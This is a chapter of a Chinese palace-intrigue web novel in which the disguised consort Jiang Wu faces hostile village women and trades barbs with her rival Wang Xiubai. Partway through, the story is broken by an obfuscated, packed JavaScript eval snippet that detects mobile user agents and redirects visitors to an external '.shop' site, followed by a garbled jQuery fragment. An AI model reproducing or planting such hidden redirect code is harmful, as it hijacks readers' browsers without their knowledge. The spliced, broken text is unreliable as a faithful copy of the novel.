姜芜被骂得哑口无言。要是她还是姜贵妃,亦或者镇北侯嫡女姜芜,有人践踏她的好意,她想她会毫不犹豫的给那人“好看”,让她长教训!或者,她会用足够的震慑让那人一开始就不敢对她放肆。
可她什么也不是,她只是姜芜,原本想救济蓟州百姓的姜芜。她惊慌失措的愣在原地,皱起眉头。她面对的是一群或许麻木,或许冥顽不宁的妇人,她们没有攻击力,只有一张得理不饶人的嘴,说话极难听。
原本也是她办错了事。
姜芜颓然的低下头,指头虚卷成拳,从炕上下来。她决心不与她们理论,今日会是最后一面。好的坏的,她都承担,即使面对她们的怨愤。
妇人骂了好一会儿,坐起身来,见姜芜一语不发,越发觉得是她理亏逃避。于是紧接着更加难听的话接踵而来。
“你神气什么?当自己是达官贵族的小姐?你照照镜子,一脸衰相,又丑又坏,歹毒心肠,今后定然是克夫克子刑克家人的天煞孤星命!总有一天会遭报应的!”
姜芜想不起自己何时和她们结下了这样的深仇大恨,需要诅咒到家人?
她松开手,转身狠狠给了妇人一巴掌,清脆响亮的声音响彻院落,落到在场的每个人心上。她们愣住,不敢相信眼前瘦瘦小小的女子能使出这样大的力气,更不敢相信她竟然敢还手!
一时被威慑住,再瞧眼前女子时,被她眼神吓住。那是怎样的一双眼,她们很难形容,只是会下意识的感到害怕。
姜芜警告她们,要是再敢出言不逊,她落下的不是巴掌,有可能是闷棍,也有可能是刀子。
院里的动静还是惊动了前堂贵人。红衣女子放下手中案宗,到后院杂房,将所有人训斥一顿,又将当事的两人单独拎出。
她看了眼姜芜,又看一眼妇人。一个不屑一顾,一个哭哭啼啼。女子婉然笑着,露出姣好的笑颜,明眸皓齿,巧笑嫣然,是端庄大气的世家女子风范。她只需一眼便能猜到,定是那妇人寻了少女麻烦,才落得个争吵。
口舌之争罢了。
“既是两人过错,那便各自领罚,今日的事便算了。”
那妇人眼里还有不服,欲要争辩,被女子一个眼神吓退,顺从的去领了罚。女子单独留了姜芜,她上下环视,眼神轻蔑,又有几分惊奇。
“只给了那狗官一顿打他就什么都招了,在府里搜出金银百万余两,珠宝不计其数。你不曾想到吧,一个偏远州府的七品小官,八年来竟能搜刮贪墨如此多钱财,可想这不正之风京都会更盛。”她叹息的说,有种无力。
姜芜垂首将头埋低,不去看她。
“怎么不说话了?平日不是最能言善辩的么?次次见了,本宫都讨不得好,今日竟这般顺从,还被一群乡野村妇欺负,传入京都,传到皇城岂不要人笑掉大牙!”
姜芜悬着的心落下,还是被认出了。她摸着脸上的人皮面具,从不觉得千羽阁的东西能让人看出瑕疵。只是不知道这位死对头王岫白是怎么看出的。
王岫白是祺妃闺名,只是入宫许多年,名号渐渐取代名字。宫里,没有名字,只有圣上赐下的封号。
姜芜回答∶“我最多只是闹笑话,你倒是胆子不小。私离出宫,还和三王爷搅到一起。不说陛下是否追究,就是被你爹那些政敌知道,还不狠狠参一本,落井下石,最好让你王家不得翻身。”
“而且王相向来和漆相不合。”
“你!姜芜,你真不识好歹!本宫出来寻人,寻到了自然回去,而你,可不一定有命回去!”王岫白自认为占了上风,洋洋得意。她现在再不济也顶着一个贵女名号,旁的什么不三不四的人不敢得罪她。
而姜芜,什么也没有,只有一张假面,身份卑微。还不是任她搓扁捏圆,她小小惩戒一番不是难事。
“你求我我就放过你,今日的罚也免了。”王岫白趾高气扬的说,心底无比快意,等着姜芜求饶。
三年来,她几乎没在姜芜手里讨得好。她和姜芜一样,圣宠无边。可每回陛下似乎都有意偏向姜芜,无论对错!实在让她愤恨,今日趁着机会还不好好搓搓她的锐气!
这样想着,王岫白不觉得畅快起来。
“求你放过我。”姜芜无比坦诚平静的说出。
话出那一刻,王岫白没有预想中那样痛快,反倒觉得窝窝囊囊,心里堵着一口气。更多的还有不可思议,这话怎么会从她姜芜口里说出来?
“你,你怎么能说这话!”这和她以往记忆中的姜芜不同,十分的不同。她们见面,都是剑拔弩张,气焰一个比一个嚣张!姜芜怎么能服软,怎么能低头!
她不爽,很不爽,气得红赤白脸,指着姜芜要她收回去。
姜芜觉得好笑,祺妃就是这样一个口是心非,极其要强,又时常败下阵的一个人。
她将王岫白的手指放下,唇角露出笑来,“记得免了罚。”
王岫白气得跺脚,“你不怕我告密?”
姜芜停下步子,稍稍愣神后又浮起笑意,“你不会。”
“你凭什么觉得我不会?除掉你,对我来说有利无害,说不定还能独得圣宠。这样的好事我为什么不做?”
姜芜道∶“因为我了解你。”
顿了顿,又补充道∶“你又不坏。”顶多些小打小闹,无伤大雅。
王岫白浑身一颤,被姜芜的话弄得不知所措,脸上晕上一层绯红。
谁要她夸了!
她知道自己秉性如何,可谁要她夸了!
“你别以为说些好话我就会放过你,我只是信守承诺,今日不追究你罢了!”王岫白强行给自己找了台阶,并对此觉得甚为满意。
姜芜∶“帮我重新准备一间房间,一身干净衣服,再准备一餐热饭,谢谢。”
她看了眼狭小的屋子,乌烟瘴气,又看自己,灰头土脸,身上被血腥味和药草味占满。
“你命令我?”
姜芜没理,又道∶“房间不需要多宽敞,整洁就好。衣服不用太华丽,保暖就好,饭菜嘛……还是得可口些。”
“太招摇难免惹人猜忌嫉妒,余下的你看着办好了。”
王岫白指着自己,“我?”
“姜芜你别蹬鼻子上脸,有得住有的吃就不错了,还挑三拣四,想清楚现在的处境!”
姜芜转过身朝她走来,王岫白闭了嘴,疑心自己哪里说得过分,惹恼了她?
“叫我易水。”
啊?
姜芜柔和一笑,将王岫白的珠钗扶正,“我现在呢被太后满城通缉,你要是想被太后盯上,大可以将我暴露出去。”
当然不能!漆家和王家,结怨不是一天两天,痼疾难消。
“方才忘记了,麻烦再准备一些热水,谢谢。”
算了,她都这样低声下气,还说了谢谢,她大人大量,先不和她计较。
王岫白差人照姜芜的话准备好,又让人送了最名贵的金疮药。她不是趁人之危的小人,就算争宠也要争得堂堂正正,胜之不武算什么本事!
被荆条抽得皮开肉绽,又被吴有为那狗贼划伤,已经足够惨了,可不能再留疤了。
姜芜躺在榻上,手里把玩着金疮药的瓷瓶,冰冰凉凉的触感让她陡然升起一阵失落,又走不了了!
她在脑中过滤着这几日发生的,觉得猝不及防,许多事堆叠在一起,搅得她不踏实。负罪感笼罩着她,耳边是妇人们绝望的哀求,最后泯灭风中。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534282|139802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
越细想越不得安宁。
姜芜起身下榻,久坐在窗边失神,手里拽着一块娟帕,手指攒动,心思乱了。
她去寻了苏无言,又问了白玉的形势。
两人还在昏迷中,苏无言因伤势过重,失血过多还没醒来。白玉更加不好,中了毒,毒素游走血脉,医师只会治病,不会解毒,无能为力,现下等着从蓟州城外请来毒师。
王岫白被案宗弄得一团乱麻,一边梳理一边大骂狗贼。这吴有为忒不是人,和师爷狼狈为奸,为非作歹八年,伤天害理的事数都数不过来!
她突然后悔,一箭杀死师爷简直给了他痛快!这样的歹人千刀万剐都难解恨!
王岫白扔了卷宗到院子里透气,见姜芜沮丧的坐在廊檐下,失魂落魄。她鲜少看到姜芜魂不守舍。在她看来,姜芜永远盛气凌人,傲睨一世,这种挫败感不适合她,也不属于她。
她上前,问道∶“还在意那群妇人的话?”
“口舌妇而已,难道你还要自降身份和她们一般见识?”原意是安慰,但话出口却变了味。她和姜芜向来不对付,说话不自觉的带了刺。
王岫白心虚的觑了眼姜芜,见她没有反应舒缓下来,片刻后又觉得被忽略了,心里大为不快。
提起声音∶“姜……易水!你这样太无礼了!”
姜芜这才朝这位原本存了好心却又语气不善,最后气急败坏的大小姐看去,“我只是觉得很失败。”她低垂下头,搅动着手里的娟帕,过一会儿将娟帕收起。
这不是好习惯,被有心人注意,会留隐患的。
“失败?怎么失败?你认为是你引吴有为过去,她们才死的?还是你觉得没有你她们就能活下来?”王岫白恨铁不成钢的数落起姜芜,也不顾及姜芜心底是不是难受。
对蓟州的事她几乎了如指掌,对吴有为那点儿破事她嗤之以鼻。
“本……小姐以为你足够聪明,却没料到你这样蠢!”她指头点着姜芜的额头,轻轻往后一推,姜芜抬头,惊诧的看她。王岫白得意的眉目上挑,总算赢回一局。
“先不说吴有为会不会留她们性命,就是稽灵山那群土匪,残害了多少人命!被掳上山的,从来没有一具完好尸身。就说你要申冤的那老刘头,他家女儿,到现在尸体还没找全。她们三言两句的就给你定了罪,你就是这样好欺负的受下了?不会还嘴还不会动手吗?哦忘了你那一巴掌了。”
转念又嘟哝道∶“一点震慑力都没有,把你从前对我的嚣张拿出来啊,怎么这会儿怂了?”
姜芜紧皱的眉头松开,她太死心眼了,所以忽略了本质的东西。
就算没有她,她们也会惨遭毒手。
在她实施计划那刻,她就雇人给微服私访的钦差大臣送了信,同时递上了吴有为多年的罪证和蓟州百姓的请命书。她走后,钦差大臣会处理吴有为。加之她先前弄出的府衙前百姓申冤的阵仗,钦差大臣不是傻子,定能明白,决计不会给吴有为有再作恶的机会。
只是她没料到,吴有为身边小小的师爷竟如此精明,她明明没有遗漏,却还是被师爷识破,反被跟踪,暴露行迹,才有了后面的事。
王岫白的话点醒了她,出宫一趟,差点连棱角都被磨平了,有时候嚣张跋扈一点也没什么不好。至少恶人对恶人,泼妇对泼妇。
以暴制暴,以战去战,虽非上策,却为解困之道。
她释然笑道∶“你倒是透彻。”
王岫白瞪了她一眼,高傲的扬头离开。
这时仆从递了话,说苏先生醒了。
姜芜沉思,她正好有些困顿需要苏先生解惑。
计划天衣无缝,师爷怎么识破?他们何时被跟上?为什么连司徒渊也没发觉?